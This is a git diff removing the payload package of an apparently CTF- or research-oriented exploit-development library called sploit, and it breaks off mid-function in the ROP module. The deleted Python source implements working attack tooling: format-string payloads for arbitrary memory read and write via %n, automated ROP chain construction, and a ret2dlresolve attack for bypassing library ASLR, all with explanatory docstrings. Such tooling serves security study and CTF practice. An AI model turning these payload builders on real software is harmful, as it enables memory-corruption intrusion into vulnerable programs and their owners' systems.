diff options
Diffstat (limited to 'sploit/payload')
| -rw-r--r-- | sploit/payload/__init__.py | 6 | ||||
| -rw-r--r-- | sploit/payload/fmtstring.py | 178 | ||||
| -rw-r--r-- | sploit/payload/gadhint.py | 98 | ||||
| -rw-r--r-- | sploit/payload/payload.py | 224 | ||||
| -rw-r--r-- | sploit/payload/payload_entry.py | 113 | ||||
| -rw-r--r-- | sploit/payload/ret2dlresolve.py | 226 | ||||
| -rw-r--r-- | sploit/payload/rop.py | 364 |
7 files changed, 0 insertions, 1209 deletions
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py deleted file mode 100644 index da47cc1..0000000 --- a/sploit/payload/__init__.py +++ /dev/null @@ -1,6 +0,0 @@ -from .fmtstring import * -from .gadhint import * -from .payload import * -from .payload_entry import * -from .ret2dlresolve import * -from .rop import * diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py deleted file mode 100644 index 54da6f2..0000000 --- a/sploit/payload/fmtstring.py +++ /dev/null @@ -1,178 +0,0 @@ -""" -Exploit C-style format string vulnerabilities - -These techniques leverage functions such as printf, fprintf, sprintf, etc. when -run on unchecked user input to perform arbitrary memory read or write. This is -made possible by the unintended use of user input as the function's format -string argument, instead of an ordinary data argument. Attackers may inject -their own conversion specifiers, which act as operating instructions to the -function. Interesting formatters include: - - %p Read argument value. These are the values of function argument - registers and values from the stack. The value is printed as - hexadecimal (with leading "0x") and interprets values as unsigned - long (aka, same size as arch.wordsize). - - %s Read memory as asciiz string. Prints the data pointed to by - argument value. - - %c Read argument as 8-bit character, printing the interpreted character - value. This formatter is useful in combination with a field width - specifier in order to print a controlled number of bytes to the - output, which is meaningful to the next formatter. - - %n Write memory as integer. Prints no output, but writes the number of - characters printed so far to the location pointed to by the argument - pointer. A length modifier will control the bit-width of the - integer written. - -See `man 3 printf` for more details. -""" - -from sploit.arch import arch, btoi, itob -from sploit.payload.payload import Payload -from sploit.payload.payload_entry import padalign, padrel - -_FMTSTR_MAGIC = b"\xcd" - -def _make_fmtstr_payload(): - # A typical layout will look like this: - # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe' - # ^ ^ ^ ^ ^ ^ - # fmt[0] fmt[1] nul | addrs[0] addrs[1] - # align - # - # Many examples found online will demo placing addresses at the front. Eg: - # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00' - # This has the benefit that %n positional values are simple to calculate - # (they just start at the payload position and increase by one). However, - # any NULL bytes in the addresses break the exploit, since printf will stop - # processing its string once a NULL is encountered. - # - # Moving addresses to the end mitigates this. Wordsize alignment is then - # necessary to give for valid argument positions. We also intentionally - # NULL terminate the format string portion of the payload to prevent printf - # from processing beyond formatters. - fp = Payload() - fp.fmt = Payload() - fp.null = b"\x00" - fp.align = padalign(arch.wordsize) - fp.addrs = Payload() - return fp - -def _fixup_positionals(fp, position, offset=None): - if offset is None: - offset = fp.addrs.base // arch.wordsize - - fixup = _make_fmtstr_payload() - fixup.addrs = fp.addrs - - for i, fmt in enumerate(fp.fmt): - pos = position + offset + i - fixup.fmt(fmt.decode().format(pos).encode()) - - # String formatting positional values may grow the format string so much - # as to cause the addrs offset to shift. Detect this and correct. - check = fixup.addrs.base // arch.wordsize - if offset != check: - return _fixup_positionals(fp, position, check) - - return fixup - -def fmtstr_dump(start=None, end=None): - """ - Return a format string payload which dumps annotated argument values. - - start (int): Starting argument position (default: 1) - end (int): Ending argument position (default: start + 20) - """ - if start is None: start = 1 - if end is None: end = start + 19 # inclusive, so 20 total arguments - - fp = Payload() - fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC) - fp.fmt = Payload() - fp.null = b"\x00" - - for pos in range(start, end+1): - if pos < len(arch.funcargs): - label = arch.funcargs[pos] - else: - offset = (pos - len(arch.funcargs)) * arch.wordsize - label = f"stack+{hex(offset)}" - - fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode()) - - return fp - -def fmtstr_get(*positions, join=" "): - """ - Return a format string payload which prints specific argument values. - - positions (*int): Argument positions - join (str): Delimiter string - """ - fp = Payload() - fp.fmt = Payload() - fp.null = join - - for p in positions: - fp.fmt(f"{join}%{p}$p".encode()) - - return fp - -def fmtstr_read(position, address): - """ - Return a format string payload which reads data (as string, via %s). - - position (int): printf positional offset of payload on stack. - address (int): Address of data to read. - """ - fp = _make_fmtstr_payload() - fp.fmt(b"%{}$s") - fp.addrs(address) - return _fixup_positionals(fp, position) - -def fmtstr_write(position, _data, _value=None): - """ - Return a format string payload which writes data. - - One option for calling this function is to give a write destination in _data - as an integer, and the value to write in _value. - - Alternatively, _data may contain a dictionary, with write destinations as - keys and contents to write as values. _value is ignored in this case. - - In either case, the contents to write is generally expected to be bytes. - However, integers are converted automatically via itob(). - - position (int): printf positional offset of payload on stack. - _data (int|dict{int:bytes}): Write data (see above) - _value (int|bytes): Write value (see above) - """ - # Convert from 2-argument style to dictionary. - if type(_data) is int: - _data = { _data: _value } - - pairs = {} - - # Collect each 2-byte word to write. - for addr, value in _data.items(): - value = itob(value) if type(value) is int else bytes(value) - words = [ value[i:i+2] for i in range(0, len(value), 2) ] - words = { addr+(i*2): btoi(w) for i, w in enumerate(words) } - pairs.update(words) - - fp = _make_fmtstr_payload() - prev = 0 - - # Craft writes. - for addr, word in sorted(pairs.items(), key=lambda x: x[1]): - diff = word - prev - prev = word - - size = "" if diff == 0 else f"%{diff}c" - fp.fmt(f"{size}%{{}}$hn".encode()) - fp.addrs(addr) - - return _fixup_positionals(fp, position) diff --git a/sploit/payload/gadhint.py b/sploit/payload/gadhint.py deleted file mode 100644 index 1bef9f0..0000000 --- a/sploit/payload/gadhint.py +++ /dev/null @@ -1,98 +0,0 @@ -import copy -from dataclasses import dataclass, field - -from sploit.rev.gadget import Gadget -from sploit.types.index_entry import IndexEntry - -@dataclass -class GadHint(IndexEntry): - """ - User-annotated gadget description object - - base (Gadget|int): The gadget being annotated. May be a Gadget object or - an offset as an int. - - pops (list[str]): The registers popped by this gadget, in order of - occurrence. - - movs (dict{str:str}): The register-to-register moves made by this gadget. - Keys are destination register names, values are source register names. The - order given is insignificant. - - imms (dict{str:int}): The immediate-to-register loads made by this gadget. - Keys are destination register names, values are immediate values. The order - given is insignificant. - - writes (dict{str:str}): The register-to-memory stores made by this gadget. - Keys are the destination register names (which hold memory addresses), - values are source register names (which hold values to-be-stored). The - order given is insignificant. - - requirements (dict{str:int}): The register state that is required before - this gadget should be executed. Keys are register names, values are the - required register values. - - stack (list[int]): A list of words to append to the stack following this - gadget. The first element given is nearest to the top of the stack and the - rest follow in order. - - align (bool): If True, this gadget expects the stack to be aligned prior - to entry. - - syscall (bool): If True, this gadget contains a syscall instruction. - - spm (int): "Stack pointer move" - The amount the stack pointer is adjusted - by this gadget. The effect of executing a terminating "return" instruction - should not be accounted for. A value of zero is taken as "unspecified". - """ - - base: int = 0 - pops: list = field(default_factory=list) - movs: dict = field(default_factory=dict) - imms: dict = field(default_factory=dict) - writes: dict = field(default_factory=dict) - requirements: dict = field(default_factory=dict) - stack: list = field(default_factory=list) - align: bool = False - syscall: bool = False - spm: int = 0 - - @property - def offset(self): - """Return gadget offset as an integer.""" - return int(self.base) - - def with_requirements(self, reqs): - """Return new object with additional requirements.""" - for k, v in reqs.items(): - if self.requirements.get(k, v) != v: - raise ValueError( - f"GadHint: Conflicting gadget requirements: " - f"{self.requirements}, {reqs}") - - new = copy.deepcopy(self) - new.requirements |= reqs - return new - - def __repr__(self): - """Return human-readable GadHint.""" - def fmt(name, prop): - if len(prop) > 0: - return f", {name}={prop}" - return "" - - s = hex(self.base) - s = f"Gadget({s})" if isinstance(self.base, Gadget) else s - s += fmt("pops", self.pops) - s += fmt("movs", self.movs) - s += fmt("imms", self.imms) - s += fmt("writes", self.writes) - s += fmt("requirements", self.requirements) - s += fmt("stack", self.stack) - if self.align: - s += ", align" - if self.syscall: - s += ", syscall" - if self.spm > 0: - s += f", spm={self.spm}" - return f"GadHint({s})" diff --git a/sploit/payload/payload.py b/sploit/payload/payload.py deleted file mode 100644 index 2a9521f..0000000 --- a/sploit/payload/payload.py +++ /dev/null @@ -1,224 +0,0 @@ -from sploit.arch import itob -from sploit.payload.payload_entry import PayloadEntry -from sploit.types.indextbl import IndexTbl -from sploit.types.index_entry import IndexEntry -from sploit.types.lict import Lict - -_REPR_DATA_LEN = 64 - -class Payload(IndexTbl): - """ - Binary payload builder - - This class provides an API for fluently specifying structured payloads from - an assortment of input data. Payload "indices" are any bytes-like data, - which includes some supported IndexEntry types as well as nested Payloads. - - Payload is an IndexTbl based on a Lict and features two main use-cases or - syntaxes for interacting with data. - - The first method (the formal method) is through the use of normal index - access via attributes or subscripts. In this case, element keys are usually - given. When a new index is defined, it is inserted at the end of the - payload. Modifications to existing indices change the data in-place, and - this causes the content of the payload to shift around if the replaced data - is of a different length. - - The second method (the quick method) is through the use of Payload's __call__ - method. This is a general purpose "quick action" method that, among other - things, will insert data to the payload. If the Payload object is called - with 1 or more arguments, the values of these arguments are appended to the - payload in the order given. There is no way to specify keys using this - option, so the data simply occupies unkeyed elements in the underlying Lict. - - In either case, the data inserted must be bytes-like. In some common cases, - the data will be coerced into bytes. See the method __prep_insertion for - details on how this is handled. See the PayloadEntry module for some - additional features. - - When retrieving indices from the payload, instead of the element's value, - either the element offset or (for IndexEntries) the value based at that - offset is returned to you. If the payload has a non-zero base, this is - interpreted as the element's address in memory. This is useful for any - exploit that requires pointers to other crafted data. - - The binary output of a payload is simply the binary output of each of its - elements, concatenated together - there are no gaps. If you need to space - or separate two elements, you need to insert padding bytes between them. - The element binary content is either the object itself (for bytes elements), - the output from `payload_bytes()` (for PayloadEntries), or the output from - `bytes(obj)` for everything else. - - The following is a simple example using the Payload module to perform a - hypothetical stack buffer overrun "ret2win" with both of the build syntaxes: - - # 100 bytes from the start of the buffer to the saved frame pointer - # call (return into) the function "pwned", given by an ELF Symtbl - # 3 arguments, which are given on the stack - - # formal method - p = Payload() - p.smash = padlen(100) - p.fp = placeholder() - p.ret = elf.sym.pwned - p.ret2 = placeholder() - p.arg1 = 0 - p.arg2 = 1 - p.arg3 = 2 - io.write(bytes(p)) - - # quick method - p = Payload()(padlen(100), placeholder()) - p(elf.sym.pwned, placeholder(), 0, 1, 2) - io.write(p()) - """ - - def __init__(self, base=0, entries=None): - """Construct new Payload with optional base and content.""" - super().__init__(base) - if not isinstance(entries, Lict): - entries = Lict(entries) - object.__setattr__(self, "__entries__", entries) - - def __repr__(self): - """Return human-readable Payload.""" - FMT = "\n{:<20} {:<20} {:<20}" - s = f"{len(self.__entries__)} items, {len(self)} bytes @ {hex(self)}" - memo = {} - - if len(self.__entries__) > 0: - s += FMT.format("ADDRESS", "SYMBOL", "DATA") - - for i, value in enumerate(self.__entries__): - key = self.__entries__.idx2key(i) - key = "(unkeyed)" if key is None else str(key) - key = f"[{key}]" if isinstance(value, IndexEntry) else key - - addr = self.__addrof(i, memo) - data = str(self.__bytesof(i, memo)) - if len(data) > _REPR_DATA_LEN: - data = data[:_REPR_DATA_LEN] + " ..." - - s += FMT.format(hex(addr), key, data) - - return s - - def __bytes__(self): - """Return calculated payload bytes.""" - memo = {} - x = [ self.__bytesof(i, memo) for i in range(len(self.__entries__)) ] - return b"".join(x) - - def __call__(self, *args): - """ - Payload quick-action call operator. - - If called with arguments, append these values to the payload in the - order given. The payload (self) is returned for easily chaining calls. - - If called without arguments, return the rendered payload content as if - `bytes(payload)` was called. - """ - if len(args) == 0: - return bytes(self) - - for value in args: - value = self.__prep_insertion(value, self.end()) - self.__entries__.append(value) - - return self - - def end(self): - """Return the offset or address of the end of the payload.""" - return self.base + len(self) - - # IndexTbl abstract methods - - def __copy__(self): - """Return copy of object with shared data entries.""" - return Payload(self.base, self.__entries__) - - def __iter__(self): - """Iterate over data entries.""" - return iter(self.__entries__) - - def __len__(self): - """Return the size of the payload content in bytes.""" - memo = {} - x = [ self.__lenof(i, memo) for i in range(len(self.__entries__)) ] - return sum(x) - - def __getindex__(self, index): - """Return payload index value or address.""" - value, _ = self.__valueof(index, {}) - return value - - def __setindex__(self, index, value): - """Set payload index value.""" - try: - addr = self.__addrof(index, {}) - except KeyError: - addr = self.end() - value = self.__prep_insertion(value, addr) - self.__entries__[index] = value - - def __delindex__(self, index): - """Delete payload index.""" - del self.__entries__[index] - - # Payload helpers - - def __valueof(self, index, memo): - """Return a tuple (addr of value, literal value) for index.""" - value = self.__entries__[index] - addr = self.__addrof(index, memo) - if isinstance(value, IndexEntry): - value @= addr - return value, value - return addr, value - - def __addrof(self, index, memo): - """Return address (base + offset) for index.""" - index = self.__entries__.key2idx(index) - try: - return memo[index] - except KeyError: - sizes = [ self.__lenof(i, memo) for i in range(index) ] - addr = self.base + sum(sizes) - memo[index] = addr - return addr - - def __lenof(self, index, memo): - """Return element length for index.""" - _, value = self.__valueof(index, memo) - if isinstance(value, PayloadEntry): - return value.payload_len(self) - return len(value) - - def __bytesof(self, index, memo): - """Return byte output for index.""" - _, value = self.__valueof(index, memo) - if isinstance(value, PayloadEntry): - return value.payload_bytes(self) - return bytes(value) - - def __prep_insertion(self, value, addr): - """Initialize or type coerce input value for payload insert.""" - if isinstance(value, PayloadEntry): - value @= addr - value.payload_insert(self) - return value - - if type(value) is str: - value = value.encode() + b"\x00" - elif type(value) is int: - value = itob(value) - - try: - # Confirm value supports our required operations - len(value) - bytes(value) - except TypeError as ex: - raise TypeError(f"Payload: Bad type {type(value)} given") from ex - - return value diff --git a/sploit/payload/payload_entry.py b/sploit/payload/payload_entry.py deleted file mode 100644 index 2f8dbdd..0000000 --- a/sploit/payload/payload_entry.py +++ /dev/null @@ -1,113 +0,0 @@ -from sploit.arch import arch, itob -from sploit.types.index_entry import IndexEntry - -_PLACEHOLDER_MAGIC = b"\xef" - -class PayloadEntry(IndexEntry): - """Base class for dynamic Payload entries""" - - def __repr__(self): - """Return human-readable entry description.""" - return f"{self.__class__.__name__}{self.__dict__}" - - def payload_insert(self, payload): - """ - Called on insert into a payload object. - - Override this method to perform any initialization which requires a - reference to the payload object. self.base is set to the insertion - location. - """ - pass - - def payload_len(self, payload): - """ - Called to compute size of this entry. - - Implement this method to calculate the length of this dynamic payload - entry. self.base is set to the current entry address or offset. - """ - raise NotImplementedError - - def payload_bytes(self, payload): - """ - Called to generate bytes for this entry. - - Implement this method to generate the binary output for this dynamic - payload entry. self.base is set to the current entry address or offset. - """ - raise NotImplementedError - -# Concrete payload entry definitions - -class pointer(PayloadEntry): - """Generate an integer which tracks the address of another payload field.""" - - def __init__(self, target=None, math=None): - self.target = target - self.math = math - - def payload_len(self, payload): - return arch.wordsize - - def payload_bytes(self, payload): - if self.target is None: - addr = self.base - else: - addr = payload[self.target] - if callable(self.math): - addr = self.math(addr) - return itob(addr) - -class padlen(PayloadEntry): - """Generate padding to reach a target payload length.""" - - def __init__(self, size, data=None): - self.size = size - self.data = data - - def payload_len(self, payload): - return self.size - (self.base - payload.base) - - def payload_bytes(self, payload): - size = self.payload_len(payload) - data = self.data or arch.nopcode - if size < 0: - raise ValueError("padding: Available space is negative") - if (size := size / len(data)) != int(size): - raise ValueError("padding: Element does not divide the space evenly") - return data * int(size) - -class padabs(padlen): - """Generate padding to reach a target absolute address.""" - - def payload_len(self, payload): - return self.size - self.base - -class padrel(padlen): - """Generate a fixed length of padding (aka: length relative to self).""" - - def payload_len(self, payload): - return self.size - -class padalign(padlen): - """Generate padding to reach next aligned address.""" - - def __init__(self, size=None, data=None, reference=0): - self.size = size - self.data = data - self.reference = reference - - def payload_len(self, payload): - size = self.size or arch.alignment - return (self.reference - self.base) % size - -class placeholder(padlen): - """Generate fixed length of magic bytes, one word length by default.""" - - def __init__(self, size=None): - self.size = size - self.data = _PLACEHOLDER_MAGIC - - def payload_len(self, payload): - return self.size or arch.wordsize diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py deleted file mode 100644 index 8862e22..0000000 --- a/sploit/payload/ret2dlresolve.py +++ /dev/null @@ -1,226 +0,0 @@ -""" -Perform "Return to dlresolve" dynamic linker attack - -The ret2dlresolve technique is useful to defeat library ASLR against targets -with partial relro (or less) and where no useable data leaks are available. -This is specifically a workaround for ASLR of libraries such as libc, and -addresses within the target executable are expected to be known (non-pic or -otherwise). - -When a dynamic library call is performed normally, applications jump to code -stubs in the .plt section to perform the actual relocation. This process relies -on a couple of meta-data structures in the ELF object: - -Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to -cache the real subroutine address for later calls, as well as an info field -describing the relocation. This info field contains a type subfield and an -index into the ELF's symbol table for the symbol to be relocated. - -Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the -exploit, only the symbol name field is utilized (the others are set to zeroes). -The name field is an offset into the ELF's string table, and the actual symbol -name string can be found at this offset. - -All of the data tables mentioned above are located by their corresponding -section in the ELF. The relocation process however does not perform any bounds -checks to ensure the runtime data structures actually come from these sections. -By forging custom structures, and ensuring they can be written into memory at -precise locations, an attacker can trick the resolver to link any library -function they desire by setting up the equivalent PLT function call via ROP. - -Read on for more background details: -http://phrack.org/issues/58/4.html -https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 - -Structure definitions from your standard elf.h header: - -typedef struct { - Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ - Elf32_Addr st_value; /* 4b Symbol value */ - Elf32_Word st_size; /* 4b Symbol size */ - unsigned char st_info; /* 1b Symbol type and binding */ - unsigned char st_other; /* 1b Symbol visibility */ - Elf32_Section st_shndx; /* 2b Section index */ -} Elf32_Sym; - -typedef struct { - Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ - unsigned char st_info; /* 1b Symbol type and binding */ - unsigned char st_other; /* 1b Symbol visibility */ - Elf64_Section st_shndx; /* 2b Section index */ - Elf64_Addr st_value; /* 8b Symbol value */ - Elf64_Xword st_size; /* 8b Symbol size */ -} Elf64_Sym; - -typedef struct { - Elf32_Addr r_offset; /* 4b Address */ - Elf32_Word r_info; /* 4b Relocation type and symbol index */ -} Elf32_Rel; - -typedef struct { - Elf64_Addr r_offset; /* 8b Address */ - Elf64_Xword r_info; /* 8b Relocation type and symbol index */ -} Elf64_Rel; - -Elf32_Rel.r_info = 0xAAAAAABB - | | - | type - symidx - -Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB - | | - symidx type -""" - -from sploit.arch import arch, itob -from sploit.payload.gadhint import GadHint -from sploit.payload.payload import Payload -from sploit.payload.payload_entry import padalign, padlen, pointer -from sploit.payload.rop import ROP -from sploit.rev.r2 import run_cmd - -_JMP_SLOT = 0x07 - -def _symsize(): - # Size of Elf*_Sym, used for padding and indexing - if arch.wordsize == 4: return 16 - elif arch.wordsize == 8: return 24 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _relsize(): - # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) - if arch.wordsize == 4: return 1 - elif arch.wordsize == 8: return 24 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _infoshift(): - # Partition subfields of Elf*_Rel.r_info - if arch.wordsize == 4: return 8 - elif arch.wordsize == 8: return 32 - raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -class Ret2dlresolve(ROP): - # Use constructor from ROP class - - def reloc(self, symbol_name): - """ - Generate relocation structures for the function with given symbol name. - - The returned data structures are packed into a single Payload object. - This payload must be written into the target's memory before attempting - to use it with Ret2dlresolve.call(). Furthermore, the chosen write - location must be assigned to the payload base property, so that internal - pointers may take on the appropriate values. - - See Ret2dlresolve.determine_address() for advice on choosing a write - location. - - symbol_name (str): Name of library function to link - """ - binary = self.objects[0] - symtab = binary.sym.sect['.dynsym'] - strtab = binary.sym.sect['.dynstr'] - - try: - jmprel = binary.sym.sect['.rel.plt'] - except KeyError: - jmprel = binary.sym.sect['.rela.plt'] - - # Elf*_Rel.r_info - info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT - - # The sym structure is the most picky about its location in memory. So - # it is listed first in the main dlres struct, which can be placed at - # the desired location. - sym = Payload() - sym.name = pointer("symbol_string", lambda x: x - strtab) - sym.pad = padlen(_symsize(), b"\x00") - sym.symbol_string = symbol_name - - dlres = Payload() - dlres.symalign = padalign(_symsize(), reference=symtab) - dlres.sym = sym - dlres.relalign = padalign(_relsize(), reference=jmprel) - dlres.offset = pointer() - dlres.info = pointer("sym", info) - return dlres - - def determine_address(self, start=None, end=None, n=0): - """ - Determine recommended address for relocation structures. - - There are a couple considerations to make when determining the memory - locations. First of all, the location must be writable. More - importantly, since most items are referred to by an array index, the - structures themselves must be properly aligned, reference to the array - origins. - - The payload returned from Ret2dlresolve.reloc() has some of these - alignments built in, but one crucial one is not. The index implied by - Elf*_Sym's offset from the symtab base is the same index used to lookup - symbol version information, reference to versym. The data at this index - must constitute a valid version half-word (16-bits). This function - attempts to ensure that the coincident version info for any returned - value is the data \x00\x00. Getting this wrong can cause the dlresolve - routine to crash. - - start (int): Minimum address to recommend (default: .bss section address) - end (int): Maximum address to recommend (default: end of memory page) - n (int): Return the Nth useable address within the defined range - """ - binary = self.objects[0] - symtab = binary.sym.sect['.dynsym'] - versym = binary.sym.sect['.gnu.version'] - bss = binary.sym.sect['.bss'] - - if start is None: start = bss - if end is None: end = (start & ~0xfff) + 0x1000 - - zero_words = run_cmd(binary.path, "/x 0000") - zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] - - # Size of version entry is always 2 bytes. - veroff = [ x - versym for x in zero_words ] - idx = [ x//2 for x in veroff if x%2 == 0 ] - symoff = [ x * _symsize() for x in idx ] - addr = [ x + symtab for x in symoff ] - addr = [ x for x in addr if start <= x < end ] - - if len(addr) > n: - return addr[n] - - raise AssertionError("Ret2dlresolve: No suitable memory location") - - # Overrides ROP.call() - def call(self, reloc, *params): - """ - Return a ROP payload to call function via dynamic linker. - - reloc's base address must be set appropriately. - - reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() - *params (int): Remaining positional args are passed to function. - """ - binary = self.objects[0] - plt = binary.sym.sect['.plt'] - - try: - jmprel = binary.sym.sect['.rel.plt'] - except KeyError: - jmprel = binary.sym.sect['.rela.plt'] - - register_params = dict(zip(arch.funcargs, params)) - stack_params = params[len(register_params):] - index = int(reloc.offset - jmprel) // _relsize() - - reqs = GadHint(requirements=register_params) - call = GadHint(index, stack=stack_params) - ret = GadHint(self.search_gadget(arch.ret)) - - chain = Payload() - try: chain.requirements = self.gadget(reqs).requirements - except KeyError: pass - chain.alignment = padalign(0, itob(ret)) - chain.plt = plt - chain.call = self.gadget(call) - return chain diff --git a/sploit/payload/rop.py b/sploit/payload/rop.py deleted file mode 100644 index 30467de..0000000 --- a/sploit/payload/rop.py +++ /dev/null @@ -1,364 +0,0 @@ -from graphlib import TopologicalSorter - -from sploit.arch import arch, btoi, itob -from sploit.payload.gadhint import GadHint -from sploit.payload.payload import Payload -from sploit.payload.payload_entry import padalign, padlen - -_POP_MAGIC = 0xdead -_SPM_MAGIC = b"\x69" -_ERROR_MAGIC = 0xbaadc0de - -class ROP: - """ - ROP chain generation tool - - This class contains methods for automating basic return-oriented programming - workloads, such as loading register values and calling into arbitrary - functions or syscalls. The tools are currently designed to work on x86 - (32 or 64 bit) and ARM (32 bit only). - - The main appeal of the ROP class is the ability to abstract away the manual - construction of ROP chain data, and instead make declarative statements - like "call this function with these arguments". The ROP class will also - utilize its supplied binary objects to automatically find and use trivial - gadgets. - - The user is able to provide annotations for more complicated gadgets, which - help instruct the class how to incorporate them into a ROP chain. This is - done with the GadHint dataclass. GadHint objects are provided to a ROP - instance by including them in the Symtbl of one of the binary objects it is - constructed with. If applicable, a user-supplied gadget will take - precedence over automatic gadget searching. See the GadHint module to learn - more about the descriptive attributes that are supported. - - objects (list[ELF]): The binary objects this ROP instance will consider for - gadget searching. If one of these is the target executable binary, it - should appear first in the list. - - safe_syscalls (bool): If True, require that automatically found syscall - instructions are immediately followed by a return instruction. - - align_calls (bool): If True, ensure that the stack return address into - function calls is aligned according to the architecture alignment property. - - clean_stack (bool): If True, attempt to locate a cleaning gadget to "pop" - stack data that is leftover from a function call. Required if attempting - to make multiple calls that involve stack-based arguments. - """ - - def __init__(self, *objects, safe_syscalls=True, align_calls=True, - clean_stack=True): - """Construct new ROP builder.""" - self.objects = objects - self.safe_syscalls = safe_syscalls - self.align_calls = align_calls - self.clean_stack = clean_stack - - def search_gadgets(self, *regexes, cont=False): - """Return a list of matching gadgets, considering all objects.""" - results = [] - for obj in self.objects: - results += obj.gadgets(*regexes, cont=cont) - return results - - def search_gadget(self, *regexes): - """Return the first matching gadget, considering all objects.""" - for obj in self.objects: - try: - return obj.gadget(*regexes) - except: - pass - raise LookupError( - f"ROP: Need to define gadget symbol for {'; '.join(regexes)}") - - def gadget(self, gadget): - """ - Return a generic ROP payload. - - gadget (GadHint): Annotated gadget to prepare a chain from. - """ - return self.__build_chain(gadget, {}) - - def assign(self, **sets): - """ - Return a ROP payload to control given registers. - - **sets (str:int): Keyword arguments specify register assignments to - perform with this ROP chain. Argument names correspond to register - names. - """ - return self.gadget(GadHint(requirements=sets)) - - def call(self, func, *params): - """ - Return a ROP payload to call function. - - func (int): Entry address of function to call. - *params (int): Remaining positional args are passed to func. - """ - register_params = dict(zip(arch.funcargs, params)) - stack_params = params[len(register_params):] - gadget = GadHint(func, requirements=register_params, stack=stack_params, - align=self.align_calls) - return self.gadget(gadget) - - def syscall(self, *params): - """ - Return a ROP payload to call kernel. - - *params (int): The first argument is the syscall number. Remaining - positional arguments are passed to the syscall. - """ - if len(params) > len(arch.kernargs): - raise TypeError("ROP: Too many arguments passed to syscall. " - f"Target architecture supports up to {len(arch.kernargs)-1}.") - - register_params = dict(zip(arch.kernargs, params)) - sc = self.__get_gadget("syscall", {}) - return self.gadget(sc.with_requirements(register_params)) - - def memcpy(self, dst, src): - """ - Return a ROP payload to write data into memory. - - dst (int): The destination memory address. - src (bytes): The content to write. - """ - data = Payload() - for idx in range(0, len(src), arch.wordsize): - word = btoi(src[idx:idx+arch.wordsize]) - data(self.gadget(self.__get_write(dst+idx, word))) - return data - - def __get_hints(self): - """Return all user-supplied gadget hints.""" - return [h for obj in self.objects for _,h in obj.sym if type(h) is GadHint] - - def __discover_requirements(self, seen, graph, current): - """ - Populate gadget dependency graph. - - This function recursively looks up gadgets to ensure all necessary - required gadgets can be found, and stores this information into the - given graph object. Established dependencies encode the order that the - chain builder should attempt to satisfy register requirements. - Dependency loops are detected by the TopologicalSorter. - - seen (set): Set of (register,value) tuples we have already discovered. - graph (TopologicalSorter): Dependency graph model object. - current (GadHint): Current gadget we are processing. - """ - for r, v in current.requirements.items(): - # We key on register name _and_ value because some gadgets may - # only be capable of storing specific values in a target register. - # Requiring a register to store different values may require the - # use of multiple gadgets. - if (r, v) not in seen: - gadget = self.__get_gadget(r, current.requirements) - - # Add gadget's requirements to the dependency graph. - # We say that each requirement is a 'successor' to this - # current gadget 'r', so that the chain builder will satisfy - # 'r' first. This prevents the fulfillment of 'r' from - # clobbering targets it requires, as the builder will satisfy - # them afterward. - for x in gadget.requirements: - graph.add(x, r) - - # Treat gadget's load immediates as pseudo-requirements for - # the sake of target ordering, following the same logic - # as above. - for x in gadget.imms: - graph.add(x, r) - - # Mark node as visited - seen.add((r, v)) - self.__discover_requirements(seen, graph, gadget) - - def __get_gadget(self, target, sets): - """ - Get context-specific gadget. - - target (str): Either "ret", "syscall", or the name of a register we - would like to modify. - - sets (dict{str:int}): The set of other register requirements we are - trying to fulfill in parallel. Values may affect the gadget we decide - to use. - """ - # First, consider user-provided hints before automatically locating - # gadgets. - for hint in self.__get_hints(): - # Setup additional requirements based on hint's register moves. - # If a mov target is in sets, require to set the src to the 'sets' - # value. - addl_reqs = { src:sets[dst] for dst, src in hint.movs.items() if dst in sets } - hint = hint.with_requirements(addl_reqs) - - # Pops will be accounted for by the chain builder. - # Immediates will be handled by gadget ordering in chain builder. - # Writes are a non-issue here. - - if hint.syscall: - # Only consider syscalls if the target is syscall. - if target == "syscall": - return hint - elif target in hint.imms: - if hint.imms[target] == sets[target]: - return hint - elif target in hint.pops: - return hint - elif target in hint.movs: - return hint - - # Automatically locate simple gadgets - if target == "ret": - return GadHint(self.search_gadget(arch.ret)) - - if target == "syscall": - insns = [arch.syscall, arch.ret] if self.safe_syscalls else [arch.syscall] - return GadHint(self.search_gadget(*insns), syscall=True) - - # target == register - insns = [ i.format(target) for i in arch.popgad ] - return GadHint(self.search_gadget(*insns), pops=[target]) - - def __get_clean(self, size): - """ - Get a stack cleaning gadget that moves sp by _at least_ size. - - size (int): Minimum stack pointer move. - """ - # spm values of zero (the default) can't be trusted, as in this case - # the user likely hasn't annotated the GadHint properly. Returning a - # larger move than requested is fine, since the chain builder can insert - # junk to be popped. - for hint in self.__get_hints(): - if hint.spm >= size and hint.spm > 0: - return hint - - results = self.search_gadgets(*arch.cleangad) - table = { int(g.asm[0].group(1), 0): g for g in results } - sizes = sorted([ x for x in table.keys() if x >= size ]) - - if len(sizes) > 0: - return GadHint(table[sizes[0]], spm=sizes[0]) - - raise LookupError( - f"ROP: Need to define a stack move gadget of at least {size}") - - def __get_write(self, dst, src): - """ - Get a memory write gadget, injected with requirements for user data. - - dst (int): The intended memory write location. - src (int): The intended value to write. - """ - # If any exist, take the first write provided by user hints, assuming - # the user's intent to specifically use _this_ write. Follow-on gadgets - # to setup the dst and src registers must be findable. - for hint in self.__get_hints(): - if hint.writes: - d, s = list(hint.writes.items())[0] - return hint.with_requirements({d:dst, s:src}) - - # Only take an automatic write gadget if we can prove up front that its - # requirements can be met, otherwise move on. A later search result may - # pass the test. - results = 